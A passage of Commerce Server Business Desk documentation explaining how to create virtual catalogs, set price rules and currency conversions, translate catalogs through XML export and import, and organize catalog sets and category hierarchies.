  8. To publish the changes, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Creating a Multilingual Catalog


Creating a Virtual Catalog

A virtual catalog is a catalog that references the product data in one or more base catalogs. Products are represented only once in the database, regardless of how many virtual catalogs they appear in.

There are three primary uses for virtual catalogs:

  • To aggregate multiple catalogs so they appear as one catalog to users.
  • To price products in multiple currencies.
  • To provide special pricing, or subsets of products, for specified groups of users.

You can create up to 10,000 virtual catalogs. When you create a virtual catalog, you specify:

  • The name of the catalog.
  • The currency that will be used to price products (for example, USD).

After you create a virtual catalog, you add inclusion rules that specify:

  • The products and categories in the base catalogs that you want to include in the virtual catalog. You can include up to one million products in a virtual catalog.
  • The price rules you want to apply to the products and categories. You can create up to 10,000 price rules in one catalog.

For information about including a base catalog in a virtual catalog, see Including Base Catalogs in a Virtual Catalog. For information about adding categories to a virtual catalog, see Adding Categories to a Virtual Catalog.

Notes

  • A virtual catalog can include content from up to 80 base catalogs; it cannot include content from other virtual catalogs.
  • You can edit virtual catalog properties to specify the default and reporting languages. You do not need to edit the base catalog.

This section contains:

  • Creating a New Virtual Catalog
  • Including Base Catalogs in a Virtual Catalog
  • Rebuilding a Virtual Catalog
  • Adding Price Rules to a Virtual Catalog
  • Adding Categories to a Virtual Catalog


Creating a New Virtual Catalog

The following section describes how to create a virtual catalog.

To create a virtual catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, click Add on the toolbar, and then select New Virtual Catalog from the drop-down list.
  3. In the Catalog Properties – New Virtual Catalog screen, in the Catalog Properties section, do the following:
    Use this | To do this
    Name | Type a name for the new catalog. This name must be unique; it cannot match the name of any existing catalog in the Commerce Server catalog database.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, this date lets your trading partner know the first date the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this will be the current date plus three months. For example, if you create your catalog in December, the catalog end date will be in March.
    Currency | Select the currency for the catalog from the drop-down list.
    Unit of weight measure Displays the unit of weight measure for the products in this catalog. Your system administrator specifies this value during Commerce Server configuration.

    Note

    • For information about how to add a new unit of weight measure, see Adding Custom Catalog Attributes and Property Attributes.
  4. In the Catalog Languages section, click Add to select the languages that the catalog will support.
  5. In the Default Language box, specify the default language for your catalog.

    If you do not specify a default language, Commerce Server uses the same language as the Microsoft Windows operating system on the Business Desk Web server.

  6. If the catalog supports more than one language, in the Reporting Language box, specify the language that is to be used for the properties that are to be stored in the Data Warehouse.

    This is the language that will be used for reports and analysis.

  7. To save the virtual catalog and return to the Catalogs screen, click Save and go back on the toolbar.
  8. To include base catalogs in the virtual catalog, see Including Base Catalogs in a Virtual Catalog. You must perform this step to include products and categories in the virtual catalog.

See Also

Including Base Catalogs in a Virtual Catalog

Adding Price Rules to a Virtual Catalog

Adding Categories to a Virtual Catalog

Converting Prices to an Alternate Currency


Including Base Catalogs in a Virtual Catalog

After you create a virtual catalog, you must include one or more base catalogs in the virtual catalog. When you include a base catalog in a virtual catalog, the virtual catalog inherits the categories and products, as specified by the inclusion/exclusion rules.

After you specify which categories and products to include in or exclude from the virtual catalog, you specify the price to apply to the products and categories.

For information about adding new categories and products to a virtual catalog, see Adding Categories to a Virtual Catalog.

Notes

  • A virtual catalog can include content from up to 80 base catalogs; it cannot include content from other virtual catalogs.
  • A virtual catalog can include up to one million products.
  • A virtual catalog can support up to 10,000 price rules.
  • A category or product can have only one inclusion/exclusion rule. If you add a second rule, it automatically overrides the first rule.
  • You can edit virtual catalog properties to specify the default and reporting languages. You do not need to edit the base catalog.
  • When you change a value of a category or product in a base catalog, it is automatically changed in the virtual catalog, if it is included.
  • When you delete a base catalog that is included in a virtual catalog, no message is displayed. After you delete the base catalog, in the Catalog Editor screen, the virtual catalog will be flagged Rebuild = Required.

To include base catalogs in a virtual catalog

  1. Create the base catalogs you want to include in the virtual catalog. For instructions, see Creating a Base Catalog.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, select the virtual catalog you want to work with, and then click Open on the toolbar.
  4. In the Catalog Content - <virtual catalog> screen, in the Include/exclude section, click New.
  5. In the Catalog box, click the ellipsis button […].
  6. In the Catalog Picker dialog box, select the base catalog you want to include in the virtual catalog, and then click Select.
  7. In the Rule box, select whether you want to include all the products in the base catalog, or whether you want to include or exclude specific categories or products.
  8. If you selected to include or exclude a product or category, in the Item box, click the ellipsis button […]. In the Product Picker dialog box, select the product or category you want to include or exclude, and then click OK.
    Note
    • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  9. To save the inclusion rule, click Done.

    The base catalog is now included in the virtual catalog. Repeat this process to include as many base catalogs in the virtual catalog as needed.

To add a price rule to the catalog product or category

  1. In the Catalog Content - <virtual catalog> screen, in the Price rules section, click New.
  2. In the Item box, click the ellipsis button […].
  3. In the Product Picker dialog box, select the category or product you want to price, and then click OK.
  4. In the Type box, select one of the following:
    Type | Description
    Set price | Specify the price of the item.
    Add | Specify the amount to add to the base price of the item.
    Add percentage | Specify the percentage to add to the base price of the item.
    Discount | Specify the amount to discount the base price of the item.
    Discount percentage | Specify the percentage to discount the base price of the item.
  5. In the Amount box, specify the amount you want the price to be, or the amount you want to modify the price from the base catalog.
  6. To save the price rule, click Done.

The price rule is added to the virtual catalog. Repeat this process to price as many categories and products as needed.

See Also

Creating a Virtual Catalog

Adding Categories to a Virtual Catalog


Rebuilding a Virtual Catalog

You rebuild a virtual catalog after performing the following:

  • Including a base catalog, categories, or products.
  • Deleting a base catalog that was included in the virtual catalog.
  • Adding or deleting categories or products in any included categories.

When you rebuild a virtual catalog, the categories and products are made available to the virtual catalog and you can set price rules.

You must rebuild a virtual catalog each time you add, edit, or delete products and categories.

Note

  • Do not rebuild a virtual catalog that is on a production server. Users will not be able to access the catalog. Instead, rebuild virtual catalogs on your staging server only. After the catalogs are materialized, you can replicate them to your production servers without impacting user transactions.

To rebuild a virtual catalog

  1. In the Catalogs screen, select the catalog and then click Rebuild virtual catalogs on the toolbar.

    The message, “Catalog Rebuild process has been started successfully…” appears.

  2. Click OK, and then click Catalog Editor to refresh the list of catalogs.

    The catalog you selected appears in the list with Up-to-date in the Status section.

    If Rebuilding appears in the Status section, wait for a few seconds, and then click Catalog Editor again.

See Also

Best Practices for Catalogs


Adding Price Rules to a Virtual Catalog

A price rule is an increase, discount, or set price that overrides the price of the item in the base catalog.

Price rules are applied in the currency of the virtual catalog. For example, if you have a base catalog with products priced in USD, and then a virtual catalog with products priced in FR, when you apply the price rule, it will be applied in French marks.

Note

  • A category or product can have only one price rule. If you add a second price rule, it automatically overrides the first rule.

To add price rules to a virtual catalog

  1. Include one or more base catalogs in the virtual catalog. For instructions, see Including Base Catalogs in a Virtual Catalog.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, select the virtual catalog to which you want add price rules, and then click Open on the toolbar.
  4. In the Catalog Content - <virtual catalog> screen, in the Price rules section, click New.
  5. In the Item box, click the ellipsis button […].
  6. In the Product Picker dialog box, select the category or product you want to price, and then click OK.

Note

  • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  1. In the Type box, select one of the following:
    Type | Description
    Set price | Specify the price of the item.
    Add | Specify the amount to add to the base price of the item.
    Add percentage | Specify the percentage to add to the base price of the item.
    Discount | Specify the amount to discount the base price of the item.
    Discount percentage | Specify the percentage to discount the base price of the item.
  2. In the Amount box, specify the amount you want the price to be, or the amount you want to modify the price from the base catalog.
  3. To save the price rule, click Done.

The price rule is added to the virtual catalog. Repeat this process to price as many categories and products as needed.

See Also

Including Base Catalogs in a Virtual Catalog

Adding Categories to a Virtual Catalog


Adding Categories to a Virtual Catalog

The procedure for categories to a virtual catalog is the same as for adding them to a base catalog. For instructions, see Adding a Category to a Catalog.

Each category name in a catalog must be unique. When a virtual catalog inherits categories from multiple base catalogs, it is possible that there will be duplicate category names. To prevent this, when a category is added to a virtual catalog, the name of the base catalog from which the category originates is added to the category name.

For example, assume the following categories are in a base catalog from a fictional manufacturer named Ace Clothes:

Ace Clothes (base catalog name)

Shirts
Pants

When these categories are added to a virtual catalog, the name of the categories in the virtual catalog appear as follows:

All Manufacturers Clothes (virtual catalog name)

Shirts (Ace Clothes)
Pants (Ace Clothes)

See Also

Best Practices for Catalogs

Adding a Category to a Catalog

Adding a Product to a Catalog


Creating a Multilingual Catalog

You can create a catalog on your Web site that stores product information in multiple languages. For example, you may want to display product information in English, Spanish, and Chinese.

The following is an overview of the steps you perform to create a multilingual catalog:

  1. Add multilingual property definitions for the items you want to display in more than one language. For example, you might create the following multilingual properties:
    • Product Name – Multilingual Text
    • Description – Multilingual Text
    • Color – Multilingual Multiple Choice

    (By default, Category Display Name is Multilingual Text.)

  2. Add product definitions that use the multilingual properties.

    For example, assign Product Name, Description, and Color to each product definition.

  3. Create the catalog, and specify the languages the catalog is to support, for example, English, Spanish, and Chinese.
  4. Add products and categories that include the multilingual properties, such as Product Name and Description.
  5. Translate the multilingual products and categories into the languages supported by the catalog. You can use the following methods to translate the catalog:
    • If you have many products you need to translate, use the Catalog Editor module to export the catalog to XML, and then send it to a translator. After the catalog is translated, you can import it into the catalog database used by Commerce Server. You can then use Commerce Server Business Desk to update and publish the catalog as needed. For instructions, see Translating a Catalog by Exporting/Importing.
    • If you have only a few products you need to translate, use the Catalog Editor module in Business Desk to manually add the product data in a different language. For instructions, see Translating a Catalog with Business Desk.


Translating a Catalog with Business Desk

When you have only a few products to translate, use the Catalog Editor module in Commerce Server Business Desk to manually add the product data in a different language. This procedure is described in this topic.

When you have many products to translate, use the Catalog Editor module to export the catalog to an XML file, which you can then translate in-house or send to a translation service. For instructions, see Translating a Catalog by Exporting/Importing.

To use Business Desk to translate a catalog

  1. Verify that the product and category properties you want to translate are multilingual property definitions. Your site developer can convert properties to multilingual properties programmatically. For more information, see Creating a Multilingual Catalog.
  2. If needed, add the new language to your catalog. For instructions, see Adding a Language to a Catalog.
  3. In Catalogs, click Catalog Editor.
  4. In the Catalogs screen, select the catalog you want to work with, and then click Open on the toolbar.
  5. In the Catalog Content - <catalog> screen, in the Products section, click Find Now to display all the products, or use one of the search methods to list only the products you want to translate.
  6. Select the product you want to translate, and then click Edit.
  7. In the language box on the toolbar, select from the drop-down list the language you want to edit. You can select only the languages supported by the catalog.
  8. Type translated text in the multilingual boxes, which have a Multilingual next to them. The value you type will apply only to the currently selected language.

    Notes

    • If you change text or values in boxes that are not multilingual, then the change will apply to the product across all languages.
    • If your keyboard does not support the characters of the language you are entering, you must use an Input Method Editor (IME) to type the text.
  9. To save the translated text and return to the Catalog Content screen, click Save and go back on the toolbar.
  10. Select another product to edit, or click Back on the toolbar.

See Also

Translating a Catalog by Exporting/Importing

Creating a Multilingual Catalog

Adding a Language to a Catalog

Importing an XML Catalog File

Exporting a Catalog

Exporting a CSV Catalog File to Excel


Translating a Catalog by Exporting/Importing

When you have many products to translate, use the Catalog Editor module to export the catalog to an XML file, which you can then translate in-house or send to a translation service. After the catalog is translated, you can import it to the catalog database used by Commerce Server.

When you have only a few products to translate, use the Catalog Editor module in Business Desk to manually add the product data in a different language. For instructions, see Translating a Catalog with Business Desk.

There are four main steps to translating a catalog that is exported to an XML file:

  1. Prepare the XML file for translation. After exporting the catalog in the default language, add the language code for the target language. Contact your system administrator for a list of language codes. The codes are stored in the languages.xml file in the Business Desk config folder.
  2. Translate the catalog definition (also known as the catalog schema in the XML file). Perform the following steps if this the first time the catalog is to be translated into a given language, or if the catalog definition has changed since the last translation:
    1. For each catalog in the definition, add catalog display name attributes for the new language.
    2. For each category in the definition, add category display name attributes for the new language.
    3. For each property in the definition, add property display name attributes for the new language.
  3. Translate the catalog content. In this step, where Language=<target>, the translators should translate the corresponding Value, displayName, and PropertyValue. Note that the multiple choice values in the catalog content must be translated exactly the same way they are in the catalog definition.
  4. Import the catalog. When you import the translated catalog, in the Import XML Catalog dialog box, first select the Validate XML file (do not import) option to validate the contents. After validating the file with no errors reported, you can import it.

    Do not select the Delete existing data on the Import XML catalog dialog box. If you do, only the target language will be stored in the catalog database.

This section contains:

  • Translating the Catalog Definition
  • Translating the Catalog Content


Translating the Catalog Definition

You translate the catalog definition the first time the catalog is translated into a given language, or when the catalog definition has been changed.

If the catalog definition has already been translated into multiple languages, and you are now adding another language, when you export the catalog to an XML file, the output will contain all languages, not only the base language.

Serialize the translation of the catalog definition into multiple languages

To translate the catalog definition

Serialize the translation of the catalog definition into multiple languages

When you translate the catalog definition into multiple languages, you must translate it into one language at a time, then import the catalog file, and then export it again to translate it into a second language.

For example, if you export an English catalog file, translate it into French, and then import it, you now have two languages. When you export the catalog file again, French and English appear. Translate only English into the third language, for example, Japanese, and then import it. When you export again, you will have three languages.

The following figure shows the process for translating the catalog definition into multiple languages.

A figure that shows a seralized translation process.

To translate the catalog definition

  1. Verify that the product and category properties you want to translate are multilingual property definitions. Your site developer can convert properties to multilingual properties programmatically.

    For more information about creating multilingual properties, see Creating a Multilingual Catalog.

  2. Export the XML catalog file in the language you want to translate from.
  3. In the <CatalogSchema> section of the XML output file, add language tags for the catalog display name, and for each Value, DisplayName, and PropertyValue. The translators will translate the “duplicated” information.

    For example, the following <DisplayName> tag specifies the US English (en-US) display name for the ProductColor property definition:

    <Property name="ProductColor" dataType="string" IsFreeTextSearchable="0"
    IncludeInSpecSearch="0" MinValue="1" MaxValue="100" DisplayOnSite="1"
    AssignAll="0" ExportToDW="1" DisplayInProductsList="0" Multilingual="1"
    IsRequired="0" id="CatalogProperty8">
    <DisplayName Value="Color" Language="en-US" />

    To prepare the file for translation to French, you would add a language tag for fr-FR to specify a French display name for this property, as shown in the following example:

    <Property name="ProductColor" dataType="string" IsFreeTextSearchable="0"
    IncludeInSpecSearch="0" MinValue="1" MaxValue="100" DisplayOnSite="1"
    AssignAll="0" ExportToDW="1" DisplayInProductsList="0" Multilingual="1"
    IsRequired="0" id="CatalogProperty8">
    <DisplayName Value="Color" Language="en-US" />
    <DisplayName Value="Color" Language="fr-FR" />

  4. After you have added the necessary language tags, send the XML catalog file to the translator.
  5. In the <CatalogSchema> section of the XML output file, where Language=<target>, the translators should translate the corresponding Value, displayName, and PropertyValue.

    The following is an example of a ProductColor property definition after it has been translated into French:

    <Property name="ProductColor" dataType="string" IsFreeTextSearchable="0"
    IncludeInSpecSearch="0" MinValue="1" MaxValue="100" DisplayOnSite="1"
    AssignAll="0" ExportToDW="1" DisplayInProductsList="0" Multilingual="1"
    IsRequired="0" id="CatalogProperty8">
    <DisplayName Value="Color" Language="en-US" />
    <DisplayName Value="Couleur" Language="fr-FR" />

  6. Before importing the XML catalog file, validate the contents. On the Import XML Catalog dialog box, select Validate XML file (do not import).
  7. After the XML catalog file has been validated with no errors, import the file to add the translated catalog definition to the catalog database.

    On the Import XML Catalog dialog box, do not select Delete existing data in this catalog. If you do, the existing catalog data in the catalog database will be deleted, and only data in the target language will be stored.

After performing these steps, a translator can translate the catalog content. For more information, see Translating the Catalog Content.

See Also

Translating a Catalog with Business Desk

Creating a Multilingual Catalog

Adding a Language to a Catalog

Importing an XML Catalog File

Exporting a Catalog

Exporting a CSV Catalog File to Excel


Translating the Catalog Content

To translate the catalog content, where Language=<target>, the translators should translate the corresponding Value, displayName, and PropertyValue. Note that the multiple choice values in the catalog content must be translated exactly the same way as they are in the catalog definition.

To translate catalog content

  1. Verify that the product and category properties you want to translate are multilingual property definitions. Your site developer can convert properties to multilingual properties programmatically.

    For more information, see Creating a Multilingual Catalog.

  2. Export the XML catalog file in the language you want to translate from.
  3. Edit the XML output file to change the languages attribute for <Catalog name> to include the target language.

    For example, the following <Catalog name> tag shows en-US as the language for the catalog:

    <Catalog name="Adventure Works Catalog" startDate="2001-02-22"
    endDate="2001-05-22" variantUID="VariantCode"
    productUID="ProductCode" currency="USD" weight_measuring_unit="lbs"
    DateChanged="2001-03-07T15:07:33" DefaultLanguage="en-US"
    ReportingLanguage="en-US" languages="en-US">

    To prepare the file for translation to French, you would add fr-FR to the languages attribute, as shown in the following example:

    <Catalog name="Adventure Works Catalog" startDate="2001-02-22"
    endDate="2001-05-22" variantUID="VariantCode"
    productUID="ProductCode" currency="USD" weight_measuring_unit="lbs"
    DateChanged="2001-03-07T15:07:33" DefaultLanguage="en-US"
    ReportingLanguage="en-US" languages="en-US,fr-FR">

  4. To identify for the translators what text they should translate in the remaining catalog data section, replace Language="<base>" with Language="<target>". Do this only for content that appears after the first <Catalog name> tag.

    For example, if you are translating English content into French, you would change language="en-US" to language="fr-FR", as shown in the following example:

    Before changing the language attribute, it looks like this:

    <DisplayName Value="Adventure Works Catalog" Language="en-US" />
    <Description Value="Catalog Section for Sleeping Bags" Language="en-US" />

    After changing the language attribute, it looks like this:

    <DisplayName Value="Adventure Works Catalog" Language="fr-FR" />
    <Description Value="Catalog Section for Sleeping Bags" Language="fr-FR" />

  5. Send the XML catalog file to the translator.
  6. In the catalog XML file, where Language=<target>, the translators should translate the corresponding Value attribute.

    The following is an example of the Boots category of the AdvWorksCatalog.xml file as it appears in English:

    <Category name="Boots" isSearchable="1" Definition="AdvWorkCatDef"
    Image_height="120" Image_width="120"
    Image_filename="./images/boots.gif"
    id="Item110">
    <Description Value="Catalog Section for Boots" Language="en-US" />
    <DisplayName Value="Boots" Language="en-US" />
    </Category>

    After it has been translated into French, this section looks like this:

    <Category name="Boots" isSearchable="1" Definition="AdvWorkCatDef"
    Image_height="120" Image_width="120"
    Image_filename="./images/boots.gif"
    id="Item110">
    <Description Value="Section Chaussures de randonnée du catalogue"
    Language="fr-FR" />
    <DisplayName Value="Chaussures de randonnée" Language="fr-FR" />
    </Category>

  7. When the translators send you the translated catalog, verify that the catalog name (as opposed to the displayName) was not translated, and the other content was translated. When you import the translated catalog, the catalog name must match what is already in your catalog database.
  8. Before importing the XML catalog file, validate the contents. On the Import XML Catalog dialog box, select Validate XML file (do not import).
  9. After the XML catalog file has been validated with no errors, import the file to add the new language content to the existing catalog in the database.

    On the Import XML Catalog dialog box, do not select Delete existing data in this catalog. If you do, the existing catalog data in the catalog database will be deleted, and only data in the target language will be stored.

See Also

Translating the Catalog Definition

Translating a Catalog with Business Desk

Creating a Multilingual Catalog

Adding a Language to a Catalog

Importing an XML Catalog File

Exporting a Catalog

Exporting a CSV Catalog File to Excel


Creating a Catalog Set

You use catalog sets to create a group of specific catalogs, and then give the group a unique name. For example, if you have a frequent buyers program and you give the members of this program discounts or incentives that you do not give to the general public, you can create a catalog set with specific catalogs in it, and then permit only the members of the program to access these catalogs.

If you have some products in separate catalogs that you would like to give access to a few restricted users, you can make that catalog part of a special catalog set that only those users would have access to.

If you create a catalog set, the catalogs from which they are derived are not changed.

Note

  • After you create a catalog set, you must specify which users will have access to the catalog set. For information about adding users and specifying which catalogs they can access, see Adding a User Profile.

To create a catalog set

  1. In Catalogs, click Catalog Sets, and then click Add on the toolbar.
  2. In the New Catalog Sets screen, do the following:
    Use this | To do this
    Name | Type a name for the catalog set.
    Description | Type a description for the catalog set.
    Add all catalogs | Select this check box to have this catalog set represent all catalogs, even as new catalogs are added. Do not select this check box if you want to specify individual catalogs for this catalog set.
    Available catalogs Select individual catalogs to add to the catalog set, and then click Add.

    The catalogs you selected move from the Available catalogs box to the Assigned catalogs box.
    Assigned catalogs | Display the catalogs added to this catalog set. If you remove a catalog from the Assigned catalogs box, it will automatically move to the Available catalogs box.
  3. To save the catalog set and return to the Catalog Sets screen, click Save and go back on the toolbar.
  4. To publish the new catalog set, in the Catalog Editor module, click Publish a catalog on the toolbar.

    The catalog set is published on your Web site.

  5. Specify which users will have access to the catalog set. For information about adding users and specifying which catalogs they can access, see Adding a User Profile.

See Also

About Catalogs

Changing a Catalog Set

Deleting a Catalog Set


Pricing a Product in a Base Catalog

You set prices of products while creating product properties. However, you can also change prices for your products whenever you receive a notification of a price change. For example, if the price of a black leather jacket increases from $399 to $429, you can make that change in the product properties.

The procedures for pricing products in virtual catalogs differ significantly from pricing products in base catalogs. For instructions, see Pricing a Product in a Virtual Catalog.

Note

  • To temporarily change the price of a product for a specific length of time or for a selected set of users, you can create a discount campaign. For more information, see Creating a Discount.

To price a product in a base catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog that contains the product you want to price, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> (product) screen, in the Product section, find the product you want to price. To list all products, click Find All.
  4. In the Products list, select the product you want to price, and then click Edit.
  5. In the Catalog Editor - <Catalog Name> - <Product Name> screen, type the price for the product in the Default price box.
  6. To return to the Catalog Content - <Catalog Name> (product) screen, click Save and go back on the toolbar.
  7. To return to the Catalogs screen, click Save and go back on the toolbar.
  8. To apply the updated pricing to your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Pricing a Product in a Virtual Catalog

After you have included products and categories from a base catalog, and rebuilt the virtual catalog, you can price the products in the virtual catalog. To price a product in a virtual catalog, you apply a price rule.

Notes

  • Rebuilding the virtual catalog makes the categories and products in the associated base catalogs available so you can apply price rules. After completing the Include / exclude section, click Save and back and then, in the Catalogs screen, click Rebuild on the toolbar.
  • A virtual catalog can support up to 10,000 price rules.

To price a product in a virtual catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the virtual catalog that contains the product you want to price, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> (product) screen, in the Price rules section, click New, and then do the following:
    Use this | To do this
    Item | Click the ellipsis button […] to display the Product Picker dialog box. Select the categories or products to which you want to apply the price rule, and then click OK.
    Type Select from the drop-down list one of the following:
    • Set price to specify the price of the item.
    • Add to specify the amount to add to the base price of the item.
    • Add percentage to specify the percentage to add to the base price of the item.
    • Discount to specify the amount to discount the base price of the item.
    • Discount percentage to specify the percentage to discount the base price of the item.
    Amount | Specify the amount you want the price to be, or the amount you want to modify the price from the base catalog.
  4. To return to the Catalogs screen, click Save and go back on the toolbar.
  5. To apply the updated pricing to your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Pricing at the Product Variant Level

Pricing Products in a Category

Converting Prices to an Alternate Currency

Discounting Product Prices in a Virtual Catalog

Creating a Discount


Pricing at the Product Variant Level

You can set different prices for each product variant in a product family. You can also edit variant prices after setting them to reflect market trends.

For example, assume you have a product family of Jackets that contains product variants for black jackets and brown jackets. You run a report to analyze sales, and you determine that black jackets are selling better than brown jackets. You can use this information to lower the price of the brown jackets at the variant level to increase their sales, but keep the price of the black jackets the same.

To assign variant-level pricing

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog that contains the product variant you want to price, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> (product) screen, in the Product section, find the product family. To list all products, click Find All.
  4. In the Products list, select the product family you want to price, and the click Edit.
  5. In the Product Variants section, select the product variant you want to price.
  6. In the Variant price box, type the price, and then click Done.
  7. To return to the Catalogs screen, click Save and go back on the toolbar.
  8. To save your changes and return to the Catalog Editor screen, click Save and go back on the toolbar.
  9. To apply the updated pricing to your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Pricing a Product in a Base Catalog

Pricing Products in a Category

Converting Prices to an Alternate Currency

Discounting Product Prices in a Virtual Catalog

Creating a Discount


Pricing Products in a Category

You can set a single price for all the products in the same category. This is useful, for example, when a range of products fall in the same pricing range. You can use this to change the price for the whole group of products in one place instead of changing each product price individually.

Each category and product can have one primary parent category. The primary parent category provides a canonical path to a child category or product. In addition, if a product is in more than one category, and pricing is set at the category level, the price of the primary parent category overrides the price in all other categories.

Pricing products based on a category only applies if you have set the products to use category pricing. There are two options when you set pricing for the primary parent:

  • Use Category Pricing. To use category pricing, you must set the products you want to reflect the category price.
  • Use Direct Pricing. To use its own price, you use direct pricing

Note

  • Assigning a price at the category level will override prices of all the products and product variants in that category.

To assign a single price to a group of products

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog that contains the product you want to price, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> screen, in the Categories section, select the category that you want to price, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> - <Category Name> screen, Category Properties section, in the Price box, type the price for the group of products.
  5. Click Save and go back to save your change to the category and return to the Catalog - <Catalog Name> screen.
  6. To return to the Catalogs screen, click Back on the toolbar.
  7. To display the new price on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Pricing a Product in a Base Catalog

Converting Prices to an Alternate Currency

Discounting Product Prices in a Virtual Catalog

Creating a Discount


Converting Prices to an Alternate Currency

You can store product prices in multiple currencies, and display multiple currencies on your Web site. For example, you may want to display product prices in both euros and U.S. dollars.

Following is an overview of the steps you perform to price products in multiple currencies:

  1. Create a Base Catalog in which products are priced in the base currency.
  2. Create one virtual catalog for each additional currency you want to display on your site.
  3. For each product, category, or catalog you add to the virtual catalog, specify a price rule.

You use price rules to define the conversion rate (percentage) or difference between the price of the item in the base catalog (and the base currency) and the price of the item in the alternate currency.

When you specify price rules, Commerce Server stores product prices in one currency, and then recalculates prices in other currencies dynamically, as needed. The price rule adjusts the price in the base catalog by the exchange rate. The price is computed when the virtual catalog is published.

Note

  • Variant-level pricing rules are supported in virtual catalogs.

To price products in multiple currencies

  1. Create a base catalog in which products are priced in the base currency. For instructions, see Creating a Base Catalog.
  2. Include one or more base catalogs in the virtual catalog. For instructions, see Including Base Catalogs in a Virtual Catalog.
  3. In Catalogs, click Catalog Editor.
  4. In the Catalogs screen, select the virtual catalog you want to work with, and then click Open on the toolbar.
  5. In the Catalog Content - <virtual catalog> screen, in the Price rules section, click New.
  6. In the Item box, click the ellipsis button […].
  7. In the Product Picker dialog box, select the category or product you want to price, and then click OK.

    Note

    • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  8. In the Type box, select Add percentage.
  9. In the Amount box, specify the percentage you want to add to the base price of the item. For example, if the exchange rate for the Canadian dollar in U.S. currency is 1.52 (66 cents Canadian for each U.S. dollar), then to convert from Canadian to U.S. currency, you enter an additional 52 percent.
  10. To save the price rule, click Done.
  11. Repeat this process to price as many categories and products as needed.

See Also

Including Base Catalogs in a Virtual Catalog

Adding Categories to a Virtual Catalog

Pricing at the Product Variant Level

Pricing a Product in a Base Catalog

Pricing Products in a Category

Discounting Product Prices in a Virtual Catalog

Creating a Discount


Discounting Product Prices in a Virtual Catalog

There are two ways you can discount product prices:

  • Create a discount campaign. For example, you can create discount campaigns to apply discounts in the following situations:
    • Price of product is greater than $20.00. This is a discount condition expression. Discount condition expressions are based on a product property.
    • User buys 2. This is part of a required discount condition.
    • User clicks a discount ad on the Sports page. This is the click-required part of a discount.

    For information about creating a discount campaign, see Creating a Discount.

  • Create a virtual catalog, and then apply a price rule. This method is explained in this topic.

When you create a virtual catalog, you can apply discounts to individual products, all the products in a category, or you can create an expression to discount products that meet specific criteria.

Note

  • Variant-level pricing rules are supported in virtual catalogs.

To create a virtual catalog and apply a discount price rule

  1. Create a virtual catalog. For instructions, see Creating a Virtual Catalog.
  2. Include one or more base catalogs in the virtual catalog. For instructions, see Including Base Catalogs in a Virtual Catalog.
  3. In Catalogs, click Catalog Editor.
  4. In the Catalogs screen, select the virtual catalog you want to work with, and then click Open on the toolbar.
  5. In the Catalog Content - <virtual catalog> screen, in the Price rules section, click New.
  6. In the Item box, click the ellipsis button […].
  7. In the Product Picker dialog box, select the category or product you want to price, and then click OK.

Note

  • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  1. In the Type box, select Discount or Discount percentage.
  2. In the Amount box, specify the amount to discount the base price of the item.
  3. To save the price rule, click Done.
  4. Repeat this process to discount as many categories and products as needed.

See Also

Creating a Discount

Including Base Catalogs in a Virtual Catalog

Adding Categories to a Virtual Catalog

Pricing at the Product Variant Level

Pricing a Product in a Base Catalog

Pricing Products in a Category

Discount Concepts


Creating Category Hierarchies

You use the Catalog Editor module to create category hierarchies. Creating category hierarchies helps organize products in your catalogs and makes navigation on your Web site easier for your users.

You can create a category that has parent categories and/or child categories.

For example, the category CDs can have the child categories Rock, Rhythm and Blues, and Classical. The child categories can also contain child categories of their own. For example, the category Rock can contain the child categories Pop and Alternative.

Each category and product can have one primary parent category. The primary parent category provides a canonical path to a child category or product. In addition, if a product is in more than one category, and pricing is set at the category level, the price of the primary parent category overrides the price in all other categories that are using category pricing.

Note

  • You can nest categories five layers deep.

To assign parent and child categories

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog containing the categories to which you want to assign parent or child categories, and then click Open on the toolbar.
  3. In the Catalog - <Catalog Name> screen, in the Categories section, select the category to which you want to assign parent or child categories, and then click Edit.
  4. In the Assigned Categories section, select the category you want to assign as the primary parent category, and then click Set.
  5. In the Available Child Categories box, select the category you want to add to the parent, and then click Add.

    The category moves from the list in the Available box to the list in the Assigned Child Categories box.

  6. To save the parent and child assignments and return to the Catalogs screen, click Save and go back on the toolbar.
  7. To publish the updated catalog, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

About Catalogs

Creating Category and Product Relationships


Creating Category and Product Relationships

You can create product-to-product relationships, product-to-category relationships, category-to-category relationships, and category-to-product relationships. These relationships can be to products and categories in the same catalog, or in different catalogs. For example, in a product-to-product relationship, if you have a user who buys a movie, you may want to offer the user the soundtrack to the movie. This is an explicit relationship.

In a category-to-category relationship, you can have a relationship between categories. For example, you may have categories for CDs and Biographies. If you have CDs by classical composers, you may have biographies of classical composers as well.

Note

